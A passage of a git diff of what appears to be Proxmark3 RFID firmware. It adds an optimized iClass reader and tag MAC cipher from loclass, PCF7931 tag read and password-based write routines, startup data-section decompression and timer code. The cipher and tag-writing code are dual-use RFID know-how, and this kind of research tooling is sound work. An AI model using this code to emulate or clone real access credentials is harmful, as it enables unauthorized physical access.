MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with loclass. If not, see . + * + * + * + ****************************************************************************/ + +/** + + This file contains an optimized version of the MAC-calculation algorithm. Some measurements on + a std laptop showed it runs in about 1/3 of the time: + + Std: 0.428962 + Opt: 0.151609 + + Additionally, it is self-reliant, not requiring e.g. bitstreams from the cipherutils, thus can + be easily dropped into a code base. + + The optimizations have been performed in the following steps: + * Parameters passed by reference instead of by value. + * Iteration instead of recursion, un-nesting recursive loops into for-loops. + * Handling of bytes instead of individual bits, for less shuffling and masking + * Less creation of "objects", structs, and instead reuse of alloc:ed memory + * Inlining some functions via #define:s + + As a consequence, this implementation is less generic. Also, I haven't bothered documenting this. + For a thorough documentation, check out the MAC-calculation within cipher.c instead. + + -- MHS 2015 +**/ + +#include "optimized_cipher.h" + +#define opt_T(s) (0x1 & ((s->t >> 15) ^ (s->t >> 14)^ (s->t >> 10)^ (s->t >> 8)^ (s->t >> 5)^ (s->t >> 4)^ (s->t >> 1)^ s->t)) + +#define opt_B(s) (((s->b >> 6) ^ (s->b >> 5) ^ (s->b >> 4) ^ (s->b)) & 0x1) + +#define opt__select(x,y,r) (4 & (((r & (r << 2)) >> 5) ^ ((r & ~(r << 2)) >> 4) ^ ( (r | r << 2) >> 3)))\ + |(2 & (((r | r << 2) >> 6) ^ ( (r | r << 2) >> 1) ^ (r >> 5) ^ r ^ ((x^y) << 1)))\ + |(1 & (((r & ~(r << 2)) >> 4) ^ ((r & (r << 2)) >> 3) ^ r ^ x)) + +/* + * Some background on the expression above can be found here... +uint8_t xopt__select(bool x, bool y, uint8_t r) +{ + uint8_t r_ls2 = r << 2; + uint8_t r_and_ls2 = r & r_ls2; + uint8_t r_or_ls2 = r | r_ls2; + + //r: r0 r1 r2 r3 r4 r5 r6 r7 + //r_ls2: r2 r3 r4 r5 r6 r7 0 0 + // z0 + // z1 + +// uint8_t z0 = (r0 & r2) ^ (r1 & ~r3) ^ (r2 | r4); // <-- original + uint8_t z0 = (r_and_ls2 >> 5) ^ ((r & ~r_ls2) >> 4) ^ ( r_or_ls2 >> 3); + +// uint8_t z1 = (r0 | r2) ^ ( r5 | r7) ^ r1 ^ r6 ^ x ^ y; // <-- original + uint8_t z1 = (r_or_ls2 >> 6) ^ ( r_or_ls2 >> 1) ^ (r >> 5) ^ r ^ ((x^y) << 1); + +// uint8_t z2 = (r3 & ~r5) ^ (r4 & r6 ) ^ r7 ^ x; // <-- original + uint8_t z2 = ((r & ~r_ls2) >> 4) ^ (r_and_ls2 >> 3) ^ r ^ x; + + return (z0 & 4) | (z1 & 2) | (z2 & 1); +} +*/ + +void opt_successor(const uint8_t* k, State *s, bool y, State* successor) { + uint8_t Tt = 1 & opt_T(s); + + successor->t = (s->t >> 1); + successor->t |= (Tt ^ (s->r >> 7 & 0x1) ^ (s->r >> 3 & 0x1)) << 15; + + successor->b = s->b >> 1; + successor->b |= (opt_B(s) ^ (s->r & 0x1)) << 7; + + successor->r = (k[opt__select(Tt,y,s->r)] ^ successor->b) + s->l ; + successor->l = successor->r+s->r; +} + +void opt_suc(const uint8_t* k,State* s, uint8_t *in, uint8_t length, bool add32Zeroes) { + State x2; + int i; + uint8_t head = 0; + for (i = 0; i < length; i++) { + head = 1 & (in[i] >> 7); + opt_successor(k, s, head, &x2); + + head = 1 & (in[i] >> 6); + opt_successor(k, &x2, head, s); + + head = 1 & (in[i] >> 5); + opt_successor(k, s, head, &x2); + + head = 1 & (in[i] >> 4); + opt_successor(k, &x2, head, s); + + head = 1 & (in[i] >> 3); + opt_successor(k, s, head, &x2); + + head = 1 & (in[i] >> 2); + opt_successor(k, &x2, head, s); + + head = 1 & (in[i] >> 1); + opt_successor(k, s, head, &x2); + + head = 1 & in[i]; + opt_successor(k, &x2, head, s); + } + + //For tag MAC, an additional 32 zeroes + if (add32Zeroes) { + for (i = 0; i < 16; i++) { + opt_successor(k, s, 0, &x2); + opt_successor(k, &x2, 0, s); + } + } +} + +void opt_output(const uint8_t* k,State* s, uint8_t *buffer) { + uint8_t times = 0; + uint8_t bout = 0; + State temp = {0,0,0,0}; + for ( ; times < 4; times++) { + bout =0; + bout |= (s->r & 0x4) << 5; + opt_successor(k, s, 0, &temp); + bout |= (temp.r & 0x4) << 4; + opt_successor(k, &temp, 0, s); + bout |= (s->r & 0x4) << 3; + opt_successor(k, s, 0, &temp); + bout |= (temp.r & 0x4) << 2; + opt_successor(k, &temp, 0, s); + bout |= (s->r & 0x4) << 1; + opt_successor(k, s, 0, &temp); + bout |= (temp.r & 0x4) ; + opt_successor(k, &temp, 0, s); + bout |= (s->r & 0x4) >> 1; + opt_successor(k, s, 0, &temp); + bout |= (temp.r & 0x4) >> 2; + opt_successor(k, &temp, 0, s); + buffer[times] = bout; + } +} + +void opt_MAC(uint8_t* k, uint8_t* input, uint8_t* out) { + State _init = { + ((k[0] ^ 0x4c) + 0xEC) & 0xFF,// l + ((k[0] ^ 0x4c) + 0x21) & 0xFF,// r + 0x4c, // b + 0xE012 // t + }; + + opt_suc(k,&_init,input,12, false); + opt_output(k,&_init, out); +} + +uint8_t rev_byte(uint8_t b) { + b = (b & 0xF0) >> 4 | (b & 0x0F) << 4; + b = (b & 0xCC) >> 2 | (b & 0x33) << 2; + b = (b & 0xAA) >> 1 | (b & 0x55) << 1; + return b; +} + +void opt_reverse_arraybytecpy(uint8_t* dest, uint8_t *src, size_t len) { + uint8_t i; + for ( i =0; i< len ; i++) + dest[i] = rev_byte(src[i]); +} + +void opt_doReaderMAC(uint8_t *cc_nr_p, uint8_t *div_key_p, uint8_t mac[4]) { + static uint8_t cc_nr[12]; + opt_reverse_arraybytecpy(cc_nr, cc_nr_p, 12); + uint8_t dest [] = {0,0,0,0,0,0,0,0}; + opt_MAC(div_key_p, cc_nr, dest); + //The output MAC must also be reversed + opt_reverse_arraybytecpy(mac, dest, 4); + return; +} +void opt_doTagMAC(uint8_t *cc_p, const uint8_t *div_key_p, uint8_t mac[4]) { + static uint8_t cc_nr[8+4+4]; + opt_reverse_arraybytecpy(cc_nr, cc_p, 12); + State _init = { + ((div_key_p[0] ^ 0x4c) + 0xEC) & 0xFF,// l + ((div_key_p[0] ^ 0x4c) + 0x21) & 0xFF,// r + 0x4c, // b + 0xE012 // t + }; + opt_suc(div_key_p, &_init, cc_nr, 12, true); + uint8_t dest [] = {0,0,0,0}; + opt_output(div_key_p, &_init, dest); + //The output MAC must also be reversed + opt_reverse_arraybytecpy(mac, dest,4); + return; + +} +/** + * The tag MAC can be divided (both can, but no point in dividing the reader mac) into + * two functions, since the first 8 bytes are known, we can pre-calculate the state + * reached after feeding CC to the cipher. + * @param cc_p + * @param div_key_p + * @return the cipher state + */ +State opt_doTagMAC_1(uint8_t *cc_p, const uint8_t *div_key_p) { + static uint8_t cc_nr[8]; + opt_reverse_arraybytecpy(cc_nr, cc_p, 8); + State _init = { + ((div_key_p[0] ^ 0x4c) + 0xEC) & 0xFF,// l + ((div_key_p[0] ^ 0x4c) + 0x21) & 0xFF,// r + 0x4c, // b + 0xE012 // t + }; + opt_suc(div_key_p, &_init, cc_nr, 8, false); + return _init; +} +/** + * The second part of the tag MAC calculation, since the CC is already calculated into the state, + * this function is fed only the NR, and internally feeds the remaining 32 0-bits to generate the tag + * MAC response. + * @param _init - precalculated cipher state + * @param nr - the reader challenge + * @param mac - where to store the MAC + * @param div_key_p - the key to use + */ +void opt_doTagMAC_2(State _init, uint8_t* nr, uint8_t mac[4], const uint8_t* div_key_p) { + static uint8_t _nr[4]; + opt_reverse_arraybytecpy(_nr, nr, 4); + opt_suc(div_key_p, &_init,_nr, 4, true); + + uint8_t dest [] = {0,0,0,0}; + opt_output(div_key_p, &_init, dest); + //The output MAC must also be reversed + opt_reverse_arraybytecpy(mac, dest,4); + return; +} diff --git a/armsrc/optimized_cipher.h b/armsrc/optimized_cipher.h new file mode 100644 index 000000000..7398069f0 --- /dev/null +++ b/armsrc/optimized_cipher.h @@ -0,0 +1,51 @@ +#ifndef OPTIMIZED_CIPHER_H +#define OPTIMIZED_CIPHER_H + +#include +#include +#include + +/** +* Definition 1 (Cipher state). A cipher state of iClass s is an element of F 40/2 +* consisting of the following four components: +* 1. the left register l = (l 0 . . . l 7 ) ∈ F 8/2 ; +* 2. the right register r = (r 0 . . . r 7 ) ∈ F 8/2 ; +* 3. the top register t = (t 0 . . . t 15 ) ∈ F 16/2 . +* 4. the bottom register b = (b 0 . . . b 7 ) ∈ F 8/2 . +**/ +typedef struct { + uint8_t l; + uint8_t r; + uint8_t b; + uint16_t t; +} State; + +/** The reader MAC is MAC(key, CC * NR ) + **/ +void opt_doReaderMAC(uint8_t *cc_nr_p, uint8_t *div_key_p, uint8_t mac[4]); +/** + * The tag MAC is MAC(key, CC * NR * 32x0)) + */ +void opt_doTagMAC(uint8_t *cc_p, const uint8_t *div_key_p, uint8_t mac[4]); + +/** + * The tag MAC can be divided (both can, but no point in dividing the reader mac) into + * two functions, since the first 8 bytes are known, we can pre-calculate the state + * reached after feeding CC to the cipher. + * @param cc_p + * @param div_key_p + * @return the cipher state + */ +State opt_doTagMAC_1(uint8_t *cc_p, const uint8_t *div_key_p); +/** + * The second part of the tag MAC calculation, since the CC is already calculated into the state, + * this function is fed only the NR, and internally feeds the remaining 32 0-bits to generate the tag + * MAC response. + * @param _init - precalculated cipher state + * @param nr - the reader challenge + * @param mac - where to store the MAC + * @param div_key_p - the key to use + */ +void opt_doTagMAC_2(State _init, uint8_t* nr, uint8_t mac[4], const uint8_t* div_key_p); + +#endif // OPTIMIZED_CIPHER_H diff --git a/armsrc/pcf7931.c b/armsrc/pcf7931.c new file mode 100644 index 000000000..8405c96ce --- /dev/null +++ b/armsrc/pcf7931.c @@ -0,0 +1,505 @@ +#include "pcf7931.h" + +#define T0_PCF 8 //period for the pcf7931 in us +#define ALLOC 16 + +int DemodPCF7931(uint8_t **outBlocks) { + + uint8_t bits[256] = {0x00}; + uint8_t blocks[8][16]; + uint8_t *dest = BigBuf_get_addr(); + + int GraphTraceLen = BigBuf_max_traceLen(); + if ( GraphTraceLen > 18000 ) + GraphTraceLen = 18000; + + int i, j, lastval, bitidx, half_switch; + int clock = 64; + int tolerance = clock / 8; + int pmc, block_done; + int lc, warnings = 0; + int num_blocks = 0; + int lmin=128, lmax=128; + uint8_t dir; + //clear read buffer + BigBuf_Clear_keep_EM(); + + LFSetupFPGAForADC(95, true); + DoAcquisition_default(0, true); + + lmin = 64; + lmax = 192; + + i = 2; + + /* Find first local max/min */ + if(dest[1] > dest[0]) { + while(i < GraphTraceLen) { + if( !(dest[i] > dest[i-1]) && dest[i] > lmax) + break; + i++; + } + dir = 0; + } + else { + while(i < GraphTraceLen) { + if( !(dest[i] < dest[i-1]) && dest[i] < lmin) + break; + i++; + } + dir = 1; + } + + lastval = i++; + half_switch = 0; + pmc = 0; + block_done = 0; + + for (bitidx = 0; i < GraphTraceLen; i++) + { + if ( (dest[i-1] > dest[i] && dir == 1 && dest[i] > lmax) || (dest[i-1] < dest[i] && dir == 0 && dest[i] < lmin)) + { + lc = i - lastval; + lastval = i; + + // Switch depending on lc length: + // Tolerance is 1/8 of clock rate (arbitrary) + if (ABS(lc-clock/4) < tolerance) { + // 16T0 + if((i - pmc) == lc) { /* 16T0 was previous one */ + /* It's a PMC ! */ + i += (128+127+16+32+33+16)-1; + lastval = i; + pmc = 0; + block_done = 1; + } + else { + pmc = i; + } + } else if (ABS(lc-clock/2) < tolerance) { + // 32TO + if((i - pmc) == lc) { /* 16T0 was previous one */ + /* It's a PMC ! */ + i += (128+127+16+32+33)-1; + lastval = i; + pmc = 0; + block_done = 1; + } + else if(half_switch == 1) { + bits[bitidx++] = 0; + half_switch = 0; + } + else + half_switch++; + } else if (ABS(lc-clock) < tolerance) { + // 64TO + bits[bitidx++] = 1; + } else { + // Error + warnings++; + if (warnings > 10) + { + Dbprintf("Error: too many detection errors, aborting..."); + return 0; + } + } + + if(block_done == 1) { + if(bitidx == 128) { + for(j=0; j<16; j++) { + blocks[num_blocks][j] = 128*bits[j*8+7]+ + 64*bits[j*8+6]+ + 32*bits[j*8+5]+ + 16*bits[j*8+4]+ + 8*bits[j*8+3]+ + 4*bits[j*8+2]+ + 2*bits[j*8+1]+ + bits[j*8]; + + } + num_blocks++; + } + bitidx = 0; + block_done = 0; + half_switch = 0; + } + if(i < GraphTraceLen) + dir =(dest[i-1] > dest[i]) ? 0 : 1; + } + if(bitidx==255) + bitidx=0; + warnings = 0; + if(num_blocks == 4) break; + } + memcpy(outBlocks, blocks, 16*num_blocks); + return num_blocks; +} + +int IsBlock0PCF7931(uint8_t *Block) { + // Assume RFU means 0 :) + if((memcmp(Block, "\x00\x00\x00\x00\x00\x00\x00\x01", 8) == 0) && memcmp(Block+9, "\x00\x00\x00\x00\x00\x00\x00", 7) == 0) // PAC enabled + return 1; + if((memcmp(Block+9, "\x00\x00\x00\x00\x00\x00\x00", 7) == 0) && Block[7] == 0) // PAC disabled, can it *really* happen ? + return 1; + return 0; +} + +int IsBlock1PCF7931(uint8_t *Block) { + // Assume RFU means 0 :) + if( Block[10] == 0 && + Block[11] == 0 && + Block[12] == 0 && + Block[13] == 0) + if ( (Block[14] & 0x7f) <= 9 && Block[15] <= 9) + return 1; + return 0; +} + +void ReadPCF7931() { + uint8_t Blocks[8][17]; + uint8_t tmpBlocks[4][16]; + int i, j, ind, ind2, n; + int num_blocks = 0; + int max_blocks = 8; + int ident = 0; + int error = 0; + int tries = 0; + + memset(Blocks, 0, 8*17*sizeof(uint8_t)); + + do { + memset(tmpBlocks, 0, 4*16*sizeof(uint8_t)); + n = DemodPCF7931((uint8_t**)tmpBlocks); + if(!n) + error++; + if(error==10 && num_blocks == 0) { + Dbprintf("Error, no tag or bad tag"); + return; + } + else if (tries==20 || error==10) { + Dbprintf("Error reading the tag"); + Dbprintf("Here is the partial content"); + goto end; + } + + for(i=0; i= 0; ind--,ind2--) { + if(ind2 < 0) + ind2 = max_blocks; + if(!Blocks[ind2][ALLOC]) { // Block ind2 not already found + // Dbprintf("Tmp %d -> Block %d", ind, ind2); + memcpy(Blocks[ind2], tmpBlocks[ind], 16); + Blocks[ind2][ALLOC] = 1; + num_blocks++; + if(num_blocks == max_blocks) goto end; + } + } + for(ind=i+1,ind2=j+1; ind < n; ind++,ind2++) { + if(ind2 > max_blocks) + ind2 = 0; + if(!Blocks[ind2][ALLOC]) { // Block ind2 not already found + // Dbprintf("Tmp %d -> Block %d", ind, ind2); + memcpy(Blocks[ind2], tmpBlocks[ind], 16); + Blocks[ind2][ALLOC] = 1; + num_blocks++; + if(num_blocks == max_blocks) goto end; + } + } + } + } + } + } + } + tries++; + if (BUTTON_PRESS()) return; + } while (num_blocks != max_blocks); + end: + Dbprintf("-----------------------------------------"); + Dbprintf("Memory content:"); + Dbprintf("-----------------------------------------"); + for(i=0; i", i); + } + Dbprintf("-----------------------------------------"); + + cmd_send(CMD_ACK,0,0,0,0,0); +} + + +/* Write on a byte of a PCF7931 tag + * @param address : address of the block to write + @param byte : address of the byte to write + @param data : data to write + */ +void WritePCF7931(uint8_t pass1, uint8_t pass2, uint8_t pass3, uint8_t pass4, uint8_t pass5, uint8_t pass6, uint8_t pass7, uint16_t init_delay, int32_t l, int32_t p, uint8_t address, uint8_t byte, uint8_t data) +{ + uint32_t tab[1024] = {0}; // data times frame + uint32_t u = 0; + uint8_t parity = 0; + bool comp = 0; + + //BUILD OF THE DATA FRAME + + //alimentation of the tag (time for initializing) + AddPatternPCF7931(init_delay, 0, 8192/2*T0_PCF, tab); + + //PMC + Dbprintf("Initialization delay : %d us", init_delay); + AddPatternPCF7931(8192/2*T0_PCF + 319*T0_PCF+70, 3*T0_PCF, 29*T0_PCF, tab); + + Dbprintf("Offsets : %d us on the low pulses width, %d us on the low pulses positions", l, p); + + //password indication bit + AddBitPCF7931(1, tab, l, p); + + //password (on 56 bits) + Dbprintf("Password (LSB first on each byte) : %02x %02x %02x %02x %02x %02x %02x", pass1,pass2,pass3,pass4,pass5,pass6,pass7); + AddBytePCF7931(pass1, tab, l, p); + AddBytePCF7931(pass2, tab, l, p); + AddBytePCF7931(pass3, tab, l, p); + AddBytePCF7931(pass4, tab, l, p); + AddBytePCF7931(pass5, tab, l, p); + AddBytePCF7931(pass6, tab, l, p); + AddBytePCF7931(pass7, tab, l, p); + + + //programming mode (0 or 1) + AddBitPCF7931(0, tab, l, p); + + //block adress on 6 bits + Dbprintf("Block address : %02x", address); + for (u=0; u<6; u++) + { + if (address&(1< 0xFFFF){ + tab[u] -= 0xFFFF; + comp = 0; + } + } + } + + SendCmdPCF7931(tab); +} + + + +/* Send a trame to a PCF7931 tags + * @param tab : array of the data frame + */ + +void SendCmdPCF7931(uint32_t * tab){ + uint16_t u=0, tempo=0; + + Dbprintf("Sending data frame..."); + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_PASSTHRU ); + + LED_A_ON(); + + // steal this pin from the SSP and use it to control the modulation + AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; + + //initialization of the timer + AT91C_BASE_PMC->PMC_PCER |= (0x1 << AT91C_ID_TC0); + AT91C_BASE_TCB->TCB_BMR = AT91C_TCB_TC0XC0S_NONE | AT91C_TCB_TC1XC1S_TIOA0 | AT91C_TCB_TC2XC2S_NONE; + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; // timer disable + AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; //clock at 48/32 MHz + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN; + AT91C_BASE_TCB->TCB_BCR = 1; + + + tempo = AT91C_BASE_TC0->TC_CV; + for( u = 0; tab[u] != 0; u += 3){ + + // modulate antenna + HIGH(GPIO_SSC_DOUT); + while(tempo != tab[u]) tempo = AT91C_BASE_TC0->TC_CV; + + // stop modulating antenna + LOW(GPIO_SSC_DOUT); + while(tempo != tab[u+1]) tempo = AT91C_BASE_TC0->TC_CV; + + // modulate antenna + HIGH(GPIO_SSC_DOUT); + while(tempo != tab[u+2]) tempo = AT91C_BASE_TC0->TC_CV; + } + + LED_A_OFF(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(200); + + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; // timer disable + LED(0xFFFF, 1000); +} + + +/* Add a byte for building the data frame of PCF7931 tags + * @param b : byte to add + * @param tab : array of the data frame + * @param l : offset on low pulse width + * @param p : offset on low pulse positioning + */ + +bool AddBytePCF7931(uint8_t byte, uint32_t * tab, int32_t l, int32_t p){ + + uint32_t u; + for ( u=0; u<8; u++) + { + if (byte&(1< -#include #include "printf.h" -#include "util.h" -#include "string.h" - -typedef uint32_t uintmax_t; -typedef int32_t intmax_t; typedef unsigned char u_char; typedef unsigned int u_int; -typedef unsigned long u_long; -typedef unsigned short u_short; typedef unsigned long long u_quad_t; typedef long long quad_t; - +typedef unsigned long u_long; +typedef unsigned short u_short; typedef int ssize_t; #define NBBY 8 /* number of bits in a byte */ @@ -431,7 +422,6 @@ sprintf(char *dest, const char *fmt, ...) /* http://www.pagetable.com/?p=298 */ int retval; va_list ap; - va_start(ap, fmt); retval = kvsprintf(fmt, dest, 10, ap); va_end(ap); diff --git a/armsrc/printf.h b/armsrc/printf.h index ff2b6b68a..4060fcd1c 100644 --- a/armsrc/printf.h +++ b/armsrc/printf.h @@ -12,6 +12,8 @@ #define __PRINTF_H #include +#include +#include "string.h" int kvsprintf(const char *format, void *arg, int radix, va_list ap) __attribute__ ((format (printf, 1, 0))); int vsprintf(char *str, const char *format, va_list ap) __attribute__ ((format (printf, 2, 0))); diff --git a/armsrc/start.c b/armsrc/start.c index d7332bda5..d2e4ed4c4 100644 --- a/armsrc/start.c +++ b/armsrc/start.c @@ -9,25 +9,76 @@ // with the linker script. //----------------------------------------------------------------------------- +#ifndef __START_H +#define __START_H + #include "proxmark3.h" #include "apps.h" +#include "zlib.h" +#include "BigBuf.h" + +static uint8_t *next_free_memory; +extern struct common_area common_area; +extern char __data_src_start__, __data_start__, __data_end__, __bss_start__, __bss_end__; + +static voidpf inflate_malloc(voidpf opaque, uInt items, uInt size) +{ + uint8_t *allocated_memory; + + allocated_memory = next_free_memory; + next_free_memory += items*size; + return allocated_memory; +} + +static void inflate_free(voidpf opaque, voidpf address) +{ + // nothing to do +} + +static void uncompress_data_section(void) +{ + z_stream data_section; + + next_free_memory = BigBuf_get_addr(); + + // initialize zstream structure + data_section.next_in = (uint8_t *) &__data_src_start__; + data_section.avail_in = &__data_end__ - &__data_start__; // uncompressed size. Wrong but doesn't matter. + data_section.next_out = (uint8_t *) &__data_start__; + data_section.avail_out = &__data_end__ - &__data_start__; // uncompressed size. Correct. + data_section.zalloc = &inflate_malloc; + data_section.zfree = &inflate_free; + data_section.opaque = NULL; + + // initialize zlib for inflate + inflateInit2(&data_section, 15); + + // uncompress data segment to RAM + inflate(&data_section, Z_FINISH); + + // save the size of the compressed data section + common_area.arg1 = data_section.total_in; +} -extern char __data_start__, __data_src_start__, __data_end__, __bss_start__, __bss_end__; void __attribute__((section(".startos"))) Vector(void) { /* Stack should have been set up by the bootloader */ - char *src, *dst, *end; + // char *src; + char *dst, *end; + + uncompress_data_section(); /* Set up (that is: clear) BSS. */ dst = &__bss_start__; end = &__bss_end__; while(dst < end) *dst++ = 0; - /* Set up data segment: Copy from flash to ram */ - src = &__data_src_start__; - dst = &__data_start__; - end = &__data_end__; - while(dst < end) *dst++ = *src++; + // Set up data segment: Copy from flash to ram + // src = &__data_src_start__; + // dst = &__data_start__; + // end = &__data_end__; + // while(dst < end) *dst++ = *src++; AppMain(); } +#endif \ No newline at end of file diff --git a/armsrc/stdint.h b/armsrc/stdint.h deleted file mode 100644 index 78a0b0512..000000000 --- a/armsrc/stdint.h +++ /dev/null @@ -1,27 +0,0 @@ -//----------------------------------------------------------------------------- -// Copyright (C) 2010 Hector Martin "marcan" -// -// This code is licensed to you under the terms of the GNU GPL, version 2 or, -// at your option, any later version. See the LICENSE.txt file for the text of -// the license. -//----------------------------------------------------------------------------- -// Replacement stdint.h because GCC doesn't come with it yet (C99) -//----------------------------------------------------------------------------- - -#ifndef __STDINT_H -#define __STDINT_H - -typedef signed char int8_t; -typedef short int int16_t; -typedef int int32_t; -typedef long long int int64_t; - -typedef unsigned char uint8_t; -typedef unsigned short int uint16_t; -typedef unsigned int uint32_t; -typedef unsigned long long int uint64_t; - -typedef int intptr_t; -typedef unsigned int uintptr_t; - -#endif /* __STDINT_H */ diff --git a/armsrc/string.c b/armsrc/string.c index cc71276ce..acb5a4604 100644 --- a/armsrc/string.c +++ b/armsrc/string.c @@ -7,11 +7,9 @@ //----------------------------------------------------------------------------- // Common string.h functions //----------------------------------------------------------------------------- - #include "string.h" -#include -void *memcpy(void *dest, const void *src, int len) +RAMFUNC void *memcpy(void *dest, const void *src, int len) { uint8_t *d = dest; const uint8_t *s = src; @@ -33,7 +31,7 @@ void *memset(void *dest, int c, int len) return dest; } -int memcmp(const void *av, const void *bv, int len) +RAMFUNC int memcmp(const void *av, const void *bv, int len) { const uint8_t *a = av; const uint8_t *b = bv; @@ -48,6 +46,11 @@ int memcmp(const void *av, const void *bv, int len) return 0; } +void memxor(uint8_t * dest, uint8_t * src, size_t len) { + for( ; len > 0; len--,dest++,src++) + *dest ^= *src; +} + int strlen(const char *str) { int l = 0; diff --git a/armsrc/string.h b/armsrc/string.h index 46ee218d1..5e0edcac0 100644 --- a/armsrc/string.h +++ b/armsrc/string.h @@ -12,14 +12,16 @@ #ifndef __STRING_H #define __STRING_H +#include + int strlen(const char *str); -void *memcpy(void *dest, const void *src, int len); +RAMFUNC void *memcpy(void *dest, const void *src, int len); void *memset(void *dest, int c, int len); -int memcmp(const void *av, const void *bv, int len); +RAMFUNC int memcmp(const void *av, const void *bv, int len); +void memxor(uint8_t * dest, uint8_t * src, size_t len); char *strncat(char *dest, const char *src, unsigned int n); char *strcat(char *dest, const char *src); void strreverse(char s[]); void itoa(int n, char s[]); - -#endif /* __STRING_H */ +#endif /* __STRING_H */ \ No newline at end of file diff --git a/armsrc/ticks.c b/armsrc/ticks.c new file mode 100644 index 000000000..f084e3364 --- /dev/null +++ b/armsrc/ticks.c @@ -0,0 +1,229 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, Sept 2005 +// Iceman, Sept 2016 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Timers, Clocks functions used in LF or Legic where you would need detailed time. +//----------------------------------------------------------------------------- +#include "ticks.h" +// attempt at high resolution microsecond timer +// beware: timer counts in 21.3uS increments (1024/48Mhz) +void SpinDelayUs(int us) { + int ticks = (48 * us) >> 10; + + // Borrow a PWM unit for my real-time clock + AT91C_BASE_PWMC->PWMC_ENA = PWM_CHANNEL(0); + + // 48 MHz / 1024 gives 46.875 kHz + AT91C_BASE_PWMC_CH0->PWMC_CMR = PWM_CH_MODE_PRESCALER(10); // Channel Mode Register + AT91C_BASE_PWMC_CH0->PWMC_CDTYR = 0; // Channel Duty Cycle Register + AT91C_BASE_PWMC_CH0->PWMC_CPRDR = 0xffff; // Channel Period Register + + uint16_t start = AT91C_BASE_PWMC_CH0->PWMC_CCNTR; + + for(;;) { + uint16_t now = AT91C_BASE_PWMC_CH0->PWMC_CCNTR; + if (now == (uint16_t)(start + ticks)) + return; + + WDT_HIT(); + } +} + +void SpinDelay(int ms) { + // convert to uS and call microsecond delay function + SpinDelayUs(ms*1000); +} +// ------------------------------------------------------------------------- +// timer lib +// ------------------------------------------------------------------------- +// test procedure: +// +// ti = GetTickCount(); +// SpinDelay(1000); +// ti = GetTickCount() - ti; +// Dbprintf("timer(1s): %d t=%d", ti, GetTickCount()); +void StartTickCount(void) { + // This timer is based on the slow clock. The slow clock frequency is between 22kHz and 40kHz. + // We can determine the actual slow clock frequency by looking at the Main Clock Frequency Register. + uint16_t mainf = AT91C_BASE_PMC->PMC_MCFR & 0xffff; // = 16 * main clock frequency (16MHz) / slow clock frequency + // set RealTimeCounter divider to count at 1kHz: + AT91C_BASE_RTTC->RTTC_RTMR = AT91C_RTTC_RTTRST | ((256000 + (mainf/2)) / mainf); + // note: worst case precision is approx 2.5% +} + +/* +* Get the current count. +*/ +uint32_t RAMFUNC GetTickCount(void){ + return AT91C_BASE_RTTC->RTTC_RTVR;// was * 2; +} + +// ------------------------------------------------------------------------- +// microseconds timer +// ------------------------------------------------------------------------- +void StartCountUS(void) { + AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1); + AT91C_BASE_TCB->TCB_BMR = AT91C_TCB_TC0XC0S_NONE | AT91C_TCB_TC1XC1S_TIOA0 | AT91C_TCB_TC2XC2S_NONE; + + // fast clock + // tick=1.5mks + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; // timer disable + AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK | // MCK(48MHz) / 32 + AT91C_TC_WAVE | AT91C_TC_WAVESEL_UP_AUTO | AT91C_TC_ACPA_CLEAR | + AT91C_TC_ACPC_SET | AT91C_TC_ASWTRG_SET; + AT91C_BASE_TC0->TC_RA = 1; + AT91C_BASE_TC0->TC_RC = 0xBFFF + 1; // 0xC000 + + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; // timer disable + AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_XC1; // from timer 0 + + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TCB->TCB_BCR = 1; + + while (AT91C_BASE_TC1->TC_CV > 0); +} + +uint32_t RAMFUNC GetCountUS(void){ + //return (AT91C_BASE_TC1->TC_CV * 0x8000) + ((AT91C_BASE_TC0->TC_CV / 15) * 10); + // By suggestion from PwPiwi, http://www.proxmark.org/forum/viewtopic.php?pid=17548#p17548 + return ((uint32_t)AT91C_BASE_TC1->TC_CV) * 0x8000 + (((uint32_t)AT91C_BASE_TC0->TC_CV) * 2) / 3; +} + +// ------------------------------------------------------------------------- +// Timer for iso14443 commands. Uses ssp_clk from FPGA +// ------------------------------------------------------------------------- +void StartCountSspClk(void) { + AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1) | (1 << AT91C_ID_TC2); // Enable Clock to all timers + AT91C_BASE_TCB->TCB_BMR = AT91C_TCB_TC0XC0S_TIOA1 // XC0 Clock = TIOA1 + | AT91C_TCB_TC1XC1S_NONE // XC1 Clock = none + | AT91C_TCB_TC2XC2S_TIOA0; // XC2 Clock = TIOA0 + + // configure TC1 to create a short pulse on TIOA1 when a rising edge on TIOB1 (= ssp_clk from FPGA) occurs: + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; // disable TC1 + AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK // TC1 Clock = MCK(48MHz)/2 = 24MHz + | AT91C_TC_CPCSTOP // Stop clock on RC compare + | AT91C_TC_EEVTEDG_RISING // Trigger on rising edge of Event + | AT91C_TC_EEVT_TIOB // Event-Source: TIOB1 (= ssp_clk from FPGA = 